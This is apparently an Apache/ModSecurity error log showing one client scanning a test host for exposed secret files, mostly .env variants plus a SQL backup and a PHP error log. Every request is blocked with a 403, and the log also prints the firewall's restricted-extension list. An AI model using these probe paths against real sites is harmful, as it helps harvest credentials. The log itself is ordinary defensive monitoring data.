[Sun Nov 30 18:08:35.807643 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FgAAAAg&quot;]
[Sun Nov 30 18:08:35.807851 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FgAAAAg&quot;]
[Sun Nov 30 18:08:35.808054 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FgAAAAg&quot;]
[Sun Nov 30 18:08:36.037749 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9FwAAAAg&quot;]
[Sun Nov 30 18:08:36.037971 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9FwAAAAg&quot;]
[Sun Nov 30 18:08:36.038190 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9FwAAAAg&quot;]
[Sun Nov 30 18:08:36.729804 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GgAAAAg&quot;]
[Sun Nov 30 18:08:36.729965 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GgAAAAg&quot;]
[Sun Nov 30 18:08:36.730165 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GgAAAAg&quot;]
[Sun Nov 30 18:08:36.730417 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GgAAAAg&quot;]
[Sun Nov 30 18:08:36.960105 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GwAAAAg&quot;]
[Sun Nov 30 18:08:36.960345 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GwAAAAg&quot;]
[Sun Nov 30 18:08:36.960576 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSx6FF1RgwzjQxTFQvL9GwAAAAg&quot;]
[Sun Nov 30 18:08:37.651647 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSx6FV1RgwzjQxTFQvL9HgAAAAg&quot;]
[Sun Nov 30 18:08:37.651870 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSx6FV1RgwzjQxTFQvL9HgAAAAg&quot;]
[Sun Nov 30 18:08:37.652090 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSx6FV1RgwzjQxTFQvL9HgAAAAg&quot;]
[Sun Nov 30 18:08:37.882447 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSx6FV1RgwzjQxTFQvL9HwAAAAg&quot;]
[Sun Nov 30 18:08:37.882677 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSx6FV1RgwzjQxTFQvL9HwAAAAg&quot;]
[Sun Nov 30 18:08:37.882886 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSx6FV1RgwzjQxTFQvL9HwAAAAg&quot;]
[Sun Nov 30 18:08:38.113387 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IAAAAAg&quot;]
[Sun Nov 30 18:08:38.113701 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IAAAAAg&quot;]
[Sun Nov 30 18:08:38.113981 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IAAAAAg&quot;]
[Sun Nov 30 18:08:38.343493 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IQAAAAg&quot;]
[Sun Nov 30 18:08:38.343842 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IQAAAAg&quot;]
[Sun Nov 30 18:08:38.344053 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IQAAAAg&quot;]
[Sun Nov 30 18:08:38.573636 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_error.log&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IgAAAAg&quot;]
[Sun Nov 30 18:08:38.573977 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_error.log&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IgAAAAg&quot;]
[Sun Nov 30 18:08:38.574184 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_error.log&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IgAAAAg&quot;]
[Sun Nov 30 18:08:38.803888 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IwAAAAg&quot;]
[Sun Nov 30 18:08:38.804179 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IwAAAAg&quot;]
[Sun Nov 30 18:08:38.804451 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aSx6Fl1RgwzjQxTFQvL9IwAAAAg&quot;]
